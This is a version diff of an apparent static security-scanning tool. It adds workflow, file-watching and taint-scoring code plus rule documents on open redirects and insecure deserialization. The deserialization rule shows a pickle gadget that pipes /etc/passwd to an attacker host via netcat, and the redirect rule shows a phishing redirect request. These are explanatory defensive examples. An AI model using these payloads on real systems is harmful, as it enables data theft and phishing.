torusguard 2.1.0 → 2.1.1

package/.torusguard/core/v6_workflow.py

@@ -0,0 +1,221 @@
+"""
+TorusGuard v6 Governed Remediation Workflow Controller
+Coordinates the complete v6 workflow:
+1. Scan & Stable Finding Identity
+2. Root-Cause Clustering
+3. Structured Remediation Bundles
+4. Minimal Patch Governance
+5. Targeted Recheck & Regression Verification
+6. Run Folder Artifact Emission & SARIF Export
+"""
+
+from pathlib import Path
+from typing import List, Dict, Any, Optional, Tuple
+
+from core.identity import IdentityEngine
+from core.clustering import ClusteringEngine, RootCauseCluster
+from core.bundle import BundleManager, RemediationBundle
+from core.governance import PatchGovernor, PatchPolicyDecision
+from core.rechecker import TargetedRechecker, TargetedRecheckResult, RecheckOutcome
+from core.run_manager import RunManager
+from core.sarif import SarifExporter
+from core.v6_reporter import V6Reporter
+
+
+class V6Workflow:
+    """
+    Unified controller for TorusGuard v6 governed remediation and recheck operations.
+    """
+
+    def __init__(self, target_root: Optional[Path] = None, output_base: Optional[Path] = None):
+        self.target_root = target_root or Path(".")
+        self.output_base = output_base or Path(".torusguard/runs")
+
+    def execute_audit(
+        self,
+        raw_findings: List[Dict[str, Any]],
+        target_name: str = "workspace",
+        run_id: Optional[str] = None,
+        export_sarif: bool = True,
+    ) -> RunManager:
+        """
+        Executes Phase 1 & 2: Identifies stable fingerprints, clusters root causes, and emits run artifacts.
+        """
+        run_mgr = RunManager(
+            base_dir=self.output_base,
+            target_name=target_name,
+            command="audit",
+            run_id=run_id,
+        )
+
+        # 1. Attach Stable Finding Identifiers
+        enriched_findings = []
+        evidence_list = []
+
+        for f in raw_findings:
+            rule_id = f.get("rule_id", "TG-GENERIC")
+            target = f.get("target", {})
+            file_path = target.get("file_path", "unknown")
+            snippet = f.get("evidence", {}).get("code_snippet", "")
+            sink = f.get("sink_signature")
+            framework = f.get("framework_marker")
+
+            fp = IdentityEngine.generate_identity(
+                rule_id=rule_id,
+                file_path=file_path,
+                code_snippet=snippet,
+                sink_signature=sink,
+                framework_marker=framework,
+                root_path=self.target_root,
+            )
+
+            item = dict(f)
+            item["finding_id"] = fp.fingerprint_id
+            item["fingerprint_id"] = fp.fingerprint_id
+            item["region_hash"] = fp.region_hash
+            enriched_findings.append(item)
+
+            evidence_list.append({
+                "finding_id": fp.fingerprint_id,
+                "rule_id": rule_id,
+                "file_path": file_path,
+                "region_hash": fp.region_hash,
+                "code_snippet": snippet,
+            })
+
+        # 2. Cluster Findings by Root Cause
+        clusters = ClusteringEngine.cluster_findings(enriched_findings)
+        cluster_map = {c.primary_rule: c.cluster_id for c in clusters}
+
+        for ef in enriched_findings:
+            ef["cluster_id"] = cluster_map.get(ef.get("rule_id"), "cluster-general")
+
+        # 3. Render and Write Standard Artifacts
+        summary_md = V6Reporter.render_summary(
+            target_name=target_name,
+            run_id=run_mgr.run_id,
+            findings=enriched_findings,
+            clusters=clusters,
+        )
+        findings_md = V6Reporter.render_findings(enriched_findings)
+
+        run_mgr.write_summary(summary_md)
+        run_mgr.write_findings(findings_md)
+        run_mgr.write_evidence(evidence_list)
+
+        # 4. Optional SARIF export
+        if export_sarif:
+            sarif_dict = SarifExporter.generate_sarif(
+                findings=enriched_findings,
+                clusters=[c.to_dict() for c in clusters],
+            )
+            run_mgr.write_sarif(sarif_dict)
+
+        # 5. Write Run Manifest
+        status_counts = {
+            "total_findings": len(enriched_findings),
+            "confirmed": sum(1 for f in enriched_findings if f.get("confidence_band") == "Confirmed"),
+            "high_confidence": sum(1 for f in enriched_findings if f.get("confidence_band") == "High Confidence"),
+            "needs_review": sum(1 for f in enriched_findings if f.get("confidence_band") == "Needs Review"),
+            "remediated": 0,
+            "verified_fixed": 0,
+            "regressed": 0,
+        }
+        run_mgr.write_manifest(status_counts=status_counts)
+
+        return run_mgr
+
+    def execute_harden(
+        self,
+        run_mgr: RunManager,
+        findings: List[Dict[str, Any]],
+    ) -> List[RemediationBundle]:
+        """
+        Executes Phase 3: Generates structured remediation bundles.
+        """
+        bundles = []
+        for f in findings:
+            b = BundleManager.create_bundle(f, cluster_id=f.get("cluster_id"))
+            b.write_to_directory(run_mgr.bundles_dir)
+            bundles.append(b)
+
+        remediation_md = V6Reporter.render_remediation(bundles)
+        run_mgr.write_remediation(remediation_md)
+        return bundles
+
+    def execute_apply(
+        self,
+        run_mgr: RunManager,
+        bundles: List[RemediationBundle],
+        governor: Optional[PatchGovernor] = None,
+    ) -> List[Tuple[str, PatchPolicyDecision]]:
+        """
+        Executes Phase 4: Evaluates minimal patch governance policies and plans application.
+        """
+        gov = governor or PatchGovernor()
+        decisions = []
+        changed_files = set()
+        diff_summary_lines = ["# TorusGuard v6 Unified Diff Summary\n"]
+
+        for b in bundles:
+            target_f = b.target_files[0] if b.target_files else "app.py"
+            decision = gov.evaluate_diff(b.proposed_diff, target_file=target_f)
+            decisions.append((b.finding_id, decision))
+
+            if decision.allowed_auto_apply:
+                changed_files.update(decision.file_list)
+                diff_summary_lines.append(f"## Applied Patch: `{b.finding_id}` (`{target_f}`)")
+                diff_summary_lines.append("```diff")
+                diff_summary_lines.append(b.proposed_diff.strip())
+                diff_summary_lines.append("```\n")
+
+        apply_plan_md = V6Reporter.render_apply_plan(decisions)
+        run_mgr.write_apply_plan(apply_plan_md)
+        run_mgr.write_diff_summary("\n".join(diff_summary_lines))
+        run_mgr.write_changed_files(list(changed_files))
+
+        return decisions
+
+    def execute_recheck(
+        self,
+        run_mgr: RunManager,
+        recheck_scenarios: List[Dict[str, Any]],
+    ) -> List[TargetedRecheckResult]:
+        """
+        Executes Phase 5: Targeted differential rechecks of impacted files.
+        """
+        results = []
+        for sc in recheck_scenarios:
+            r = TargetedRechecker.verify_finding(
+                finding_id=sc.get("finding_id", "fnd-01"),
+                rule_id=sc.get("rule_id", "TG-GENERIC"),
+                target_file=sc.get("target_file", "app.py"),
+                original_code_snippet=sc.get("orig_snippet", ""),
+                post_fix_code_snippet=sc.get("post_snippet", ""),
+                is_safe_pattern_present=sc.get("is_safe", True),
+                is_unsafe_pattern_present=sc.get("is_unsafe", False),
+                introduced_new_flaws=sc.get("regressions"),
+                requires_manual_context=sc.get("manual_context", False),
+            )
+            results.append(r)
+
+        recheck_md = V6Reporter.render_recheck(results)
+        run_mgr.write_recheck(recheck_md)
+
+        # Update Manifest counts
+        fixed_count = sum(1 for r in results if r.outcome == RecheckOutcome.CONFIRMED_FIXED)
+        regressed_count = sum(1 for r in results if r.outcome == RecheckOutcome.REGRESSED)
+
+        run_mgr.write_manifest(
+            status_counts={
+                "total_findings": len(results),
+                "confirmed": 0,
+                "high_confidence": 0,
+                "needs_review": sum(1 for r in results if r.outcome == RecheckOutcome.NEEDS_MANUAL_REVIEW),
+                "remediated": fixed_count,
+                "verified_fixed": fixed_count,
+                "regressed": regressed_count,
+            }
+        )
+
+        return results

package/.torusguard/core/watcher.py

@@ -0,0 +1,58 @@
+"""
+TorusGuard Continuous File Watcher
+Monitors target workspace files for changes, debounces filesystem events,
+and triggers continuous differential security re-scans.
+"""
+
+from pathlib import Path
+from typing import Dict, List, Set, Callable, Optional
+import time
+
+
+class FileWatcher:
+    """Lightweight polling and mtime watcher with debouncing."""
+
+    def __init__(self, target_root: Path, check_interval_sec: float = 0.5):
+        self.target_root = target_root.resolve()
+        self.interval = check_interval_sec
+        self.file_mtimes: Dict[str, float] = {}
+
+    def get_snapshot(self, extensions: Optional[Set[str]] = None) -> Dict[str, float]:
+        exts = extensions or {".py", ".js", ".ts", ".tsx", ".go", ".rs", ".java", ".php", ".rb", ".cs"}
+        snapshot: Dict[str, float] = {}
+        try:
+            for p in self.target_root.rglob("*"):
+                if p.is_file() and p.suffix.lower() in exts:
+                    if ".git" in p.parts or "node_modules" in p.parts or ".torusguard" in p.parts:
+                        continue
+                    try:
+                        snapshot[str(p)] = p.stat().st_mtime
+                    except Exception:
+                        pass
+        except Exception:
+            pass
+        return snapshot
+
+    def watch(
+        self,
+        on_change_callback: Callable[[List[str]], None],
+        stop_condition: Optional[Callable[[], bool]] = None
+    ) -> None:
+        """Polls for file modifications and triggers `on_change_callback`."""
+        self.file_mtimes = self.get_snapshot()
+
+        while True:
+            if stop_condition and stop_condition():
+                break
+
+            time.sleep(self.interval)
+            current_snapshot = self.get_snapshot()
+
+            changed_files: List[str] = []
+            for path_str, mtime in current_snapshot.items():
+                if path_str not in self.file_mtimes or self.file_mtimes[path_str] != mtime:
+                    changed_files.append(path_str)
+
+            if changed_files:
+                self.file_mtimes = current_snapshot
+                on_change_callback(changed_files)

package/.torusguard/rules/TG-INPUT-007-unvalidated-redirect.md

@@ -0,0 +1,53 @@
+---
+id: TG-INPUT-007
+title: Unvalidated URL Redirection (Open Redirect)
+category: input-validation
+severity: Medium
+confidence: High
+frameworks:
+  - django
+  - flask
+  - fastapi
+  - express
+  - nextjs
+cwe: CWE-601
+asvs_v4: V5.1.5
+nist_ssdf: PW.5.1
+---
+
+# TG-INPUT-007: Unvalidated URL Redirection (Open Redirect)
+
+## 🚨 Problem Statement
+Passing unvalidated or untrusted user input directly into HTTP redirect responses (`redirect()`, `res.redirect()`, `header('Location: ...')`) enables Open Redirect vulnerabilities. Attackers use trusted domains to trick users into phishing sites or OAuth credential harvesting portals.
+
+---
+
+## 💥 Adversarial Threat & Exploitation
+An attacker generates a legitimate-looking link:
+```http
+GET /login?next=https://evil-phishing.com/account HTTP/1.1
+Host: secure-bank.com
+```
+If the server performs `return redirect(request.GET.get('next'))`, the user is seamlessly forwarded to the malicious domain after authentication.
+
+---
+
+## 🛠️ Framework-Native Remediations
+
+### 🐍 Django / Flask
+#### ❌ Unsafe Pattern
+```python
+return redirect(request.GET.get("next"))
+```
+
+#### ✅ Safe Remediation
+```python
+from urllib.parse import urlparse, urljoin
+from django.utils.http import url_has_allowed_host_and_scheme
+
+def safe_redirect(request):
+    next_url = request.GET.get("next", "/")
+    if url_has_allowed_host_and_scheme(next_url, allowed_hosts={request.get_host()}):
+        return redirect(next_url)
+    return redirect("/")
+```

package/.torusguard/rules/TG-INPUT-008-insecure-deserialization.md

@@ -0,0 +1,52 @@
+---
+id: TG-INPUT-008
+title: Insecure Object Deserialization
+category: input-validation
+severity: Critical
+confidence: Confirmed
+frameworks:
+  - django
+  - flask
+  - fastapi
+  - stdlib
+cwe: CWE-502
+asvs_v4: V5.5.1
+nist_ssdf: PW.5.1
+---
+
+# TG-INPUT-008: Insecure Object Deserialization
+
+## 🚨 Problem Statement
+Deserializing untrusted data with formats that support code execution (`pickle.loads`, `yaml.load` without `SafeLoader`, `marshal`, `shelve`) allows remote attackers to execute arbitrary code via object instantiation hooks like `__reduce__`.
+
+---
+
+## 💥 Adversarial Threat & Exploitation
+An attacker submits a pickled payload containing a crafted gadget:
+```python
+class Exploit(object):
+    def __reduce__(self):
+        return (os.system, ('cat /etc/passwd | nc attacker.com 4444',))
+```
+When `pickle.loads(untrusted_bytes)` runs, the arbitrary system command is immediately executed.
+
+---
+
+## 🛠️ Framework-Native Remediations
+
+### 🐍 Python
+#### ❌ Unsafe Pattern
+```python
+data = pickle.loads(request.body)
+config = yaml.load(user_upload, Loader=yaml.Loader)
+```
+
+#### ✅ Safe Remediation
+```python
+import json
+import yaml
+
+# Safe: Standard structured serialization formats
+data = json.loads(request.body)
+config = yaml.safe_load(user_upload)
+```

package/.torusguard/scripts/audit_runner.py

@@ -42,8 +42,16 @@ def get_ist_now() -> datetime.datetime:
 
 # ─── UI Formatter Bridge ──────────────────────────────────────────────────────
 scripts_dir = Path(__file__).resolve().parent
+tg_root = Path(__file__).resolve().parent.parent
+project_root = Path(__file__).resolve().parent.parent.parent
 if str(scripts_dir) not in sys.path:
     sys.path.insert(0, str(scripts_dir))
+if str(tg_root) not in sys.path:
+    sys.path.insert(0, str(tg_root))
+if str(project_root) not in sys.path:
+    sys.path.insert(0, str(project_root))
+
+
 
 try:
     import term_ui as tui
@@ -1240,9 +1248,10 @@ def scan_file(file_path: Path, target_root: Path) -> List[Dict[str, Any]]:
     return findings
 
 
-def score_and_cluster_findings(findings: List[Dict[str, Any]], target_root: Path) -> Tuple[List[Dict[str, Any]], Dict[str, List[Dict[str, Any]]]]:
+def score_and_cluster_findings(findings: List[Dict[str, Any]], target_root: Path, taint_paths: Optional[List[Any]] = None) -> Tuple[List[Dict[str, Any]], Dict[str, List[Dict[str, Any]]]]:
     """
-    Score each finding using finding_scorer.py and persistent memory patterns.
+    Score each finding using finding_scorer.py, persistent memory patterns,
+    and taint dataflow analysis.
     Returns (scored_findings, clusters_map).
     """
     try:
@@ -1253,6 +1262,15 @@ def score_and_cluster_findings(findings: List[Dict[str, Any]], target_root: Path
     scored = []
     clusters: Dict[str, List[Dict[str, Any]]] = {}
 
+    # Map taint paths by (file_path, line_number)
+    taint_by_loc: Dict[Tuple[str, int], Any] = {}
+    if taint_paths:
+        for tp in taint_paths:
+            sink_node = getattr(tp, "sink", None)
+            if sink_node:
+                norm_p = getattr(sink_node, "file_path", "").replace("\\", "/")
+                taint_by_loc[(norm_p, getattr(sink_node, "line_number", 0))] = tp
+
     # Phase 1d: Pre-compute cross-file corroboration bonus
     # If multiple rule families flag the same file, each finding gets +5 confidence
     file_rule_families: Dict[str, set] = {}
@@ -1267,6 +1285,14 @@ def score_and_cluster_findings(findings: List[Dict[str, Any]], target_root: Path
         band = "High Confidence"
         factors = {}
 
+        # Check for correlated taint path
+        matching_tp = taint_by_loc.get((f["file_path"], f["line_number"]))
+        is_taint_confirmed = matching_tp is not None
+        taint_depth = getattr(matching_tp, "depth", None) if matching_tp else None
+        is_sanitized = getattr(matching_tp, "is_sanitized", False) if matching_tp else False
+        if matching_tp and hasattr(matching_tp, "to_dict"):
+            f["taint_path"] = matching_tp.to_dict()
+
         if finding_scorer:
             try:
                 # Phase 1d: Dynamic evidence quality based on rule precision
@@ -1291,7 +1317,11 @@ def score_and_cluster_findings(findings: List[Dict[str, Any]], target_root: Path
                     manual_review_status=mr,
                     rule_id=f["rule_id"],
                     file_path=f["file_path"],
-                    root_dir=target_root
+                    root_dir=target_root,
+                    taint_path_confirmed=is_taint_confirmed,
+                    taint_depth=taint_depth,
+                    sanitizer_present=is_sanitized,
+                    rule_severity=f.get("severity", "High")
                 )
                 score = s
                 band = b
@@ -1315,6 +1345,7 @@ def score_and_cluster_findings(findings: List[Dict[str, Any]], target_root: Path
     return scored, clusters
 
 
+
 def emit_run_artifacts(run_folder: Path, scored_findings: List[Dict[str, Any]], clusters: Dict[str, List[Dict[str, Any]]], target_root: Path) -> None:
     """Generate findings.json, findings.md, and summary.md into run folder."""
     now_ist = get_ist_now()
@@ -1501,7 +1532,14 @@ def run_watch_mode(target_root: Path, severity_floor: str = "medium", json_outpu
         print(f"\n  {YELLOW}🛑 Watch mode stopped.{RESET}\n")
 
 
-def execute_audit(target_root: Path, severity_floor: str = "medium", json_output: bool = False, include_tests: bool = False) -> Dict[str, Any]:
+def execute_audit(
+    target_root: Path,
+    severity_floor: str = "medium",
+    json_output: bool = False,
+    include_tests: bool = False,
+    incremental: bool = False,
+    use_taint: bool = True
+) -> Dict[str, Any]:
     """Execute the full TorusGuard static security audit."""
     start_time = time.perf_counter()
     target_root = target_root.resolve()
@@ -1522,14 +1560,64 @@ def execute_audit(target_root: Path, severity_floor: str = "medium", json_output
         except Exception:
             pass
 
-    # 2. Collect files & scan
+    # 2. Collect files to scan
     files = find_files_to_scan(target_root, include_tests=include_tests)
     all_findings = []
-    for f in files:
-        all_findings.extend(scan_file(f, target_root))
 
-    # 3. Score & Cluster
-    scored_findings, clusters = score_and_cluster_findings(all_findings, target_root)
+    inc_scanner = None
+    files_to_scan = files
+    unchanged_files = []
+
+    if incremental:
+        try:
+            from core.incremental import IncrementalScanner
+            inc_scanner = IncrementalScanner(target_root)
+            files_to_scan, unchanged_files = inc_scanner.get_changed_files(files)
+            # Rehydrate findings for unchanged files
+            for uf in unchanged_files:
+                all_findings.extend(inc_scanner.get_cached_findings(uf))
+        except Exception:
+            files_to_scan = files
+            unchanged_files = []
+
+    # Parallel or sequential scan on files_to_scan
+    new_findings = []
+    try:
+        from core.parallel import ParallelAuditExecutor
+        executor = ParallelAuditExecutor()
+        new_findings = executor.scan_files_parallel(files_to_scan, lambda f: scan_file(f, target_root))
+    except Exception:
+        for f in files_to_scan:
+            new_findings.extend(scan_file(f, target_root))
+
+    all_findings.extend(new_findings)
+
+    # Update cache if incremental scanner is active
+    if inc_scanner:
+        # Group new findings by file
+        file_to_findings: Dict[Path, List[Dict[str, Any]]] = {f: [] for f in files_to_scan}
+        for nf in new_findings:
+            raw_fp = nf.get("file_path", "")
+            target_f = target_root / raw_fp
+            if target_f in file_to_findings:
+                file_to_findings[target_f].append(nf)
+        for target_f, f_list in file_to_findings.items():
+            inc_scanner.update_file_cache(target_f, f_list)
+        inc_scanner.save_cache()
+
+    # 2.5 Taint Dataflow Analysis (if enabled)
+    taint_paths = []
+    if use_taint:
+        try:
+            from core.cross_file_taint import CrossFileTaintAnalyzer
+            analyzer = CrossFileTaintAnalyzer(target_root)
+            # Analyze target files (capped to 200 files for high responsiveness)
+            taint_paths = analyzer.analyze_project(files[:200])
+        except Exception:
+            taint_paths = []
+
+    # 3. Score & Cluster with Taint Evidence
+    scored_findings, clusters = score_and_cluster_findings(all_findings, target_root, taint_paths=taint_paths)
 
     # 4. Allocate run folder
     runs_dir = target_root / ".torusguard" / "runs"
@@ -1595,6 +1683,8 @@ def main():
     parser.add_argument("--scope", "-s", help="Alternative path to target project")
     parser.add_argument("--severity", choices=["critical", "high", "medium", "low"], default="medium", help="Severity floor")
     parser.add_argument("--watch", "-w", action="store_true", help="Continuous watch mode: re-scan on file save")
+    parser.add_argument("--incremental", "-i", action="store_true", help="Incremental mode: only scan modified files")
+    parser.add_argument("--no-taint", action="store_true", help="Disable taint-aware dataflow analysis")
     parser.add_argument("--sarif", action="store_true", help="Automatically export findings to OASIS SARIF v2.1.0")
     parser.add_argument("--sarif-out", help="Output file path for SARIF export")
     parser.add_argument("--json", action="store_true", help="Output raw JSON")
@@ -1607,10 +1697,18 @@ def main():
         run_watch_mode(target, severity_floor=args.severity, json_output=args.json, include_tests=args.include_tests, sarif=args.sarif, sarif_out=args.sarif_out)
         sys.exit(0)
 
-    res = execute_audit(target, severity_floor=args.severity, json_output=args.json, include_tests=args.include_tests)
+    res = execute_audit(
+        target,
+        severity_floor=args.severity,
+        json_output=args.json,
+        include_tests=args.include_tests,
+        incremental=args.incremental,
+        use_taint=(not args.no_taint)
+    )
     if args.sarif:
         export_sarif(target, res.get("run_folder"), args.sarif_out)
 
+
     sys.exit(0 if res["critical_count"] == 0 else 1)
 
 

package/.torusguard/scripts/finding_scorer.py

@@ -11,9 +11,14 @@ import argparse
 from pathlib import Path
 from typing import Dict, Any, Tuple, Optional
 
+# Ensure .torusguard directory is in sys.path for core imports
+_TG_DIR = Path(__file__).resolve().parent.parent
+if str(_TG_DIR) not in sys.path:
+    sys.path.insert(0, str(_TG_DIR))
+
 
 def compute_memory_boost(
-    rule_id: str,
+    rule_id: Optional[str] = None,
     file_path: Optional[str] = None,
     root_dir: Optional[Path] = None
 ) -> int:
@@ -112,21 +117,35 @@ def compute_confidence_score(
     memory_boost: int = 0,
     rule_id: Optional[str] = None,
     file_path: Optional[str] = None,
-    root_dir: Optional[Path] = None
+    root_dir: Optional[Path] = None,
+    taint_path_confirmed: bool = False,
+    taint_depth: Optional[int] = None,
+    sanitizer_present: bool = False,
+    rule_severity: str = "High",
+    use_evidence_chain: bool = False,
+    **kwargs
 ) -> Tuple[int, str, Dict[str, Any]]:
     """
     Computes total score and assigns confidence band.
-    Max points:
-    - evidence_quality: 35
-    - reproduction_success: 25
-    - independent_confirmations: 15
-    - environmental_clarity: 15
-    - manual_review_status: 10
-    - memory_boost: -30 to +20 (modifier from persistent memory)
-    - test_deduction: -30 if file is located in a test/mock path
-    - doc_deduction: -25 if file is located in documentation
-    Total is clamped to [0, 100].
+    Supports classical factor evaluation and multi-signal evidence-chain calibration.
     """
+    if use_evidence_chain:
+        try:
+            from core.confidence import ConfidenceCalibrator, EvidenceSignals
+            signals = EvidenceSignals(
+                rule_severity=rule_severity,
+                taint_path_confirmed=taint_path_confirmed,
+                taint_depth=taint_depth,
+                sanitizer_present=sanitizer_present,
+                framework_context_match=True,
+                has_multiline_evidence=(evidence_quality >= 30),
+                is_test_or_mock=is_test_path(file_path),
+                memory_boost=memory_boost or (compute_memory_boost(rule_id, file_path=file_path, root_dir=root_dir) if rule_id else 0)
+            )
+            return ConfidenceCalibrator.calculate_score(signals)
+        except Exception:
+            pass
+
     eq = min(max(evidence_quality, 0), 35)
     rs = min(max(reproduction_success, 0), 25)
     ic = min(max(independent_confirmations, 0), 15)
@@ -138,6 +157,13 @@ def compute_confidence_score(
     if rule_id and eff_mem_boost == 0:
         eff_mem_boost = compute_memory_boost(rule_id, file_path=file_path, root_dir=root_dir)
 
+    # Taint path adjustments
+    taint_mod = 0
+    if taint_path_confirmed:
+        taint_mod += 15
+    if sanitizer_present:
+        taint_mod -= 35
+
     # Test and Doc path noise suppression
     is_test = is_test_path(file_path)
     test_deduction = -30 if is_test else 0
@@ -145,7 +171,7 @@ def compute_confidence_score(
     is_doc = is_doc_path(file_path)
     doc_deduction = -25 if is_doc else 0
 
-    raw_total = eq + rs + ic + ec + mr + eff_mem_boost + test_deduction + doc_deduction
+    raw_total = eq + rs + ic + ec + mr + eff_mem_boost + taint_mod + test_deduction + doc_deduction
     total = min(max(raw_total, 0), 100)
 
     if total >= 90:
@@ -164,6 +190,9 @@ def compute_confidence_score(
         "environmental_clarity": ec,
         "manual_review_status": mr,
         "memory_boost": eff_mem_boost,
+        "taint_path_confirmed": taint_path_confirmed,
+        "taint_depth": taint_depth,
+        "sanitizer_present": sanitizer_present,
         "test_exemption": is_test,
         "test_deduction": test_deduction,
         "total_score": total,
@@ -172,6 +201,7 @@ def compute_confidence_score(
     return total, band, factors
 
 
+
 def main():
     parser = argparse.ArgumentParser(description="TorusGuard Confidence Scorer")
     parser.add_argument("--dir", type=str, help="Target project root directory to scan and score")